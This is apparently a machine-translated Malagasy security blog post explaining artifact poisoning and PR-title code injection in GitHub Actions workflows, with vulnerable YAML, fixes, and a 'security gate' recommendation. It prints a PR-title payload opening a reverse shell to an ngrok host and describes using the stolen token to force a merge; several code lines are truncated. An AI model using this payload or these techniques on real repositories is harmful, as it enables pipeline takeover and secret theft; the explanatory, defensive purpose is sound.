Ao amin'ireo lahatsoratra teo aloha (jereo Voapoizina ankolaka Pipeline Fampiharana I-PPE sy misy poizina Pipeline Fitaovana fiarovana amin'ny famonoana olona , niatrika olana momba ny PPE (Poisoned Pipeline (Fampiharana): efa hitantsika ny fomba fiasany, ny vokany, ny fanararaotana sasany ary koa ny fomba sasany hiarovana amin'izany.
Ity lahatsoratra ity dia miresaka lalina momba ny zavatra hafa CI/CD pipeline ireo fahalemena toy ny Artifact Poisoning sy Code Injection.
Mba hanaovana izany, dia hiorina amin'ny PPE izany, koa andeha isika hamintina fohy izay hitantsika momba ny PPE.
Asa teo aloha momba ny PPE
Raha fintinina, nanomboka tamin'ny GitHub fototra izahay pipeline hanangana sy hitsapa ny kaody nomena alalana amin'ny alalan'ny pull requestAnkoatra izany, mamaritra fanamarinana sasany izy io izay, raha tratra, dia hampitambatra ny kaody ao amin'ny sampana lehibe. Nomenay anarana hoe Siansa #1.

Tao amin'ny lahatsoratra teo aloha, dia nasehonay ny fomba fanaovana ity fototra ity pipeline dia mora voan'ny D-PPE sy I-PPE.
Nitantana izany izahay amboary ny D-PPE by fanovana ny hetsika trigger avy amin'ny fangatahana_pull ny pull_request_target, manao ny pipeline azo antoka amin'ny D-PPEHo fampahatsiahivana, pipelineNy s izay alefa amin'ny hetsika pull_request_target dia hanatanteraka ny fototra pipeline kaody, fa tsy ny pipeline fehezan-dalàna voarakitra ao amin'ny pull request.
Nomenay anarana hoe Siansa #2.

Vokatr'ity fanovana ity dia nasehonay fa Mbola marefo amin'ny I-PPE ny toe-javatra #2.
Mba hanamboarana izany dia nanapa-kevitra izahay hizara ny pipeline ho roa:
- Ny 1er pipeline (Manangana CI) hanao jereo ny kaody PR (mba hanamboarana azy), manaova ny fananganana ary mamorona zavatra tranainy.
- Ny faha-2 pipeline (Fitsapana CI) hanao jereo ny kaody fototra (mba hisorohana ny fanovana ny script shell) ary mampihatra ireo script tany am-boalohany manohitra ilay artifact.
- Mba hampifanarahana ny Test CI pipeline hiasa REHEFA vita ny Build CI pipeline, hampiasaintsika ny workflow_run miteraka
Nomenay anarana hoe Siansa #3.

Andao averina indray ny kaody an'izy roa pipelinearaka ireto fanovana ireto…
1st pipeline (Manangana CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (Fitsapana CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
Fanapoizinana amin'ny zavatra artifact
Araka ny voalaza etsy ambony CI/CD pipelines:
- pipeline Manangana CI is azo antoka izy roa D-PPE (noho ny pull_request_target) ary I-PPE (satria tsy manatanteraka ny script shell intsony izy).
- pipeline Fitsapana CI ihany koa azo antoka izy roa D-PPE (noho ny workflow_run) ary I-PPE (satria manamarina ny kaody fototra izy io mba hahazoana ny script shell tany am-boalohany)
Andeha hojerentsika lalina ity "vahaolana" ity.
Pipeline Fitsapana CI misintona ny artifact amin'ny endrika rakitra zip.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Rehefa voavaha ny zip dia manatanteraka ny script shell "safe". Nahoana aho no miteny hoe script shell "safe"? Satria tamin'ny dingana teo aloha, ny pipeline manamarina ny kaody "fototra", ka apetraka ao amin'ny lahatahiry workspace ny script tany am-boalohany. Noho izany, rehefa pipeline manatanteraka ny script shell izay hampiasainy amin'ny binary efa alaina teo aloha.
Avy eo, inona ny olana amin'ity fomba fiasa ity? Ny olana dia avy rehefa misy mpampiasa "mamorona" vaovao pipeline.
Raha manokatra PR misy vaovao ny mpampiasa iray pipeline, GitHub no hanatanteraka izany pipeline (raha jerena ny fepetra sasany, araka ny hitantsika teo aloha lahatsoratra).
Noho izany, ahoana raha mamorona vaovao ny mpampiasa pipeline mitovy anarana amin'ny Build CI? Eny, mahagaga izany, saingy GitHub dia ahafahanao mamorona roa pipelinemitovy anarana!!
Tsarovy fa ny Test CI dia hotanterahina aorian'ny Build CI…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Mahagaga fa satria misy roa izao pipelines mitovy anarana, ny pipeline Hisy fitsapana CI hatao indroa: iray aorian'ny tany am-boalohany pipeline ary ny hafa aorian'ny "vaovao" pipeline.
Ahoana no ahafahan'ny hacker manararaotra izany?
- Voalohany, afaka manova ny script shell ilay mpampiasa ratsy fanahy mba handefasana ny tsiambaratelo any amin'ny mpizara fehezin'ny hacker.
- Faharoa, ny vaovao pipeline misy andalana iray handikana ny script shell novaina ao amin'ny artifact → fanapoizinana ny artifatsara!!!
Rehefa manokatra PR misy ireo fanovana ireo ny mpampiasa, dia ny "vaovao" pipeline hovonoina (mampiakatra artifact misy poizina) ary ny Deploy CI pipeline dia hotanterahina aorian'izay, ka hiteraka Ny script shell "novaina" dia manoratra indray ny script shell "tany am-boalohany" izay hita ao amin'ny pipeline sehatr'asa.

Izany no antsoinay Fanapoizinana amin'ny zavatra artifact, ie ny fahafahana manova (manapaka) ny pipeline lojika amin'ny alàlan'ny fanovana ny pipeline artifact.
Azo atao iray fanarenana dia tena tsotra: Ny fanesorana fotsiny ny artifact ao amin'ny subfolder ao amin'ny workspace dia hisoroka ny fanoratana indray ny script shell "base".
Fitsindrona kaody
Ankoatra ny fanapoizinana artifact, mahita fahalemena hafa ve ianao ao amin'ilay kaody etsy ambony?
Andao!!
Araka ny hitanao ao amin'ny kaody, pipeline Ny Build CI dia manorina ny binary, dia mampiditra ny binary ho toy ny pipeline artifact ary, ankoatra izany, dia mampakatra angon-drakitra fanampiny vitsivitsy izy: ny PR Title sy ny PR Id.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Fa maninona? Satria mba hampiarahana ny PR, araka ny hitanao etsy ambany, ny Test CI pipeline Mila ny ID PR mba hiantsoana ny GitHub REST API izay mampivondrona ny PR.
Ahoana no fiasan'ny Test CI pipeline mahazo izany ID PR izany? Mizara fampahalalana amin'ny rakitra an-tsoratra (ampahany amin'ny pipeline artifact) dia fomba mahazatra hizarana vaovao eo amin'ny pipelines. Ary izany indrindra no ataon'ireto pipelines manao.
echo "Merging .."
PR_ID=$(
Raha ny marina, ny PR Id ihany no ilaina mba hampiarahana ny PR, fa ny pipeline Nanapa-kevitra ny admin fa hampiditra ny lohateny PR ihany koa ny Build CI mba hahafahan'ny Test CI ampiasaina. pipeline hanonta hafatra fampahalalana misy ny PR Id sy ny Title.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
Ny Lohatenin'ny PR dia angon-drakitra avy amin'ny mpampiasa foana, ary noho izany dia tsy maintsy heverina ho tsy azo itokisana foana.. Ka ny pipeline tsy maintsy mitantana toy izany ary mandray fepetra fiarovana.
Ao amin'ny kaody etsy ambony, hitantsika ny hafatra manokana izay mamerina ny lohateny PR. Baiko "echo" linux fotsiny io.
Amin'ny alalan'ny "string interpolation", raha "lohateny sandoka" ny lohateny, dia mamorona script anatiny misy ny Github
echo ""a dummy title""
Fa ahoana raha toa ka toy izao ny lohatenin'ny PR:
Lohateny ratsy” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Ho lasa toy izao ny script:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Vokatr'izany dia misokatra akorandriaka mivadika manohitra ny mpizara fehezin'ny hacker.

Mety hampiasaina hidirana amin'ny pipeline secrets (tadidio fa miasa amin'ny fomba privilege ny Test CI satria miasa ny workflow_run ka afaka miditra amin'ny secrets izy).
Fa inona koa no azo atao amin'ny alalan'io akorandriaka mivadika io?
Jereo ny kaody CI Test:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
Araka ny hitanao ao amin'ny Test CI pipeline, ny baiko curl merge dia mampiasa ny GITHUB_PAT (voafaritra ho pipeline env var), ka ny mpihazakazaka dia mirakitra ny GITHUB_PAT ho toy ny variable environment. Ankoatra izany, mamorona env var mamaky ny PR ID ihany koa izy.
Koa mila mandika ny baiko curl fotsiny ilay mpijirika ary mametaka izany ao amin'ny akorandriaka mivadika, ka mampivondrona ny PR mivantana ao amin'ny sampana voaaro.

Mba hiarovana izany rehetra izany:
- To tsy fampidirana tady miaraka amin'ny angona tsy azo itokisana (mora voan'ny tsindrona kaody) by famaritana pipeline tontolo iainana vars fa tsy mampiasa azy mivantana amin'ny baiko echo
Raha tokony hampiasaina:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Ampiasao ity:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Na dia misy aza ny code injection exploit, dia tsy ho nahomby ny baiko curl merge raha toa ka natao tsara izany. niaro ny anao pull requests amin'ny alalan'ny famerenana na fankatoavana tsy maintsy atao.
fehin-kevitra
Sarotra ihany ny miaro azy CI/CD pipelines configuration ary mahazoa pipelinetsy misy fahalemena.
Tsy midika akory izany CI/CD marefo ihany koa ireo rafitra (toy ny GitHub amin'ity tranga ity). CI/CD Ny rafitra dia manome ny fomba hiarovana amin'ny fahalemena ... saingy andraikitry ny mpitantana ny mampihatra ireo fiarovana ireo.
Fa ... Tsy afaka mamaha olana amin'ny fahalemena ianao raha tsy fantatrao ny fisiany!!!
Mazava ho azy fa ny mpitantana devops mahay dia mety manana ireo fandrahonana rehetra ireo ao an-tsaina ary miaro tsara ny CI/CD pipelines, fa na izany aza, dia tena sarobidy ny mampiasa vokatra iray mba hamantarana ireo karazana fahalemena rehetra ireo. Ary mazava ho azy mba ho mandeha ho azy ity dingana fitazonana fahalemena ity (ohatra, ny fampandehanana ny scan ho ampahany amin'ny CI/CD pipelines).
Ity fomba fiasa ity dia azo antsoina hoe "Security Gate":
- Hamorona vaovao pipeline (Vavahady Fiarovana) mba hijerena CI/CD pipelineny fahalemen'ny s ary manao ny CI hafa pipelinetsy maintsy tanterahina raha tsy vita soa aman-tsara ny Vavahady Fiarovana pipeline.
- Ny Vavahady Fiarovana pipelinehanamarina i s CI/CD pipelineny fahalemena sy,
- Raha hita ny vulns, dia tsy hahomby izany ary noho izany, ny iray hafa pipelineTsy hotanterahina ny s.
- Raha tsy misy vulns hita, ny pipeline hahomby ary ny iray hafa pipelines dia hiasa araka ny mahazatra.








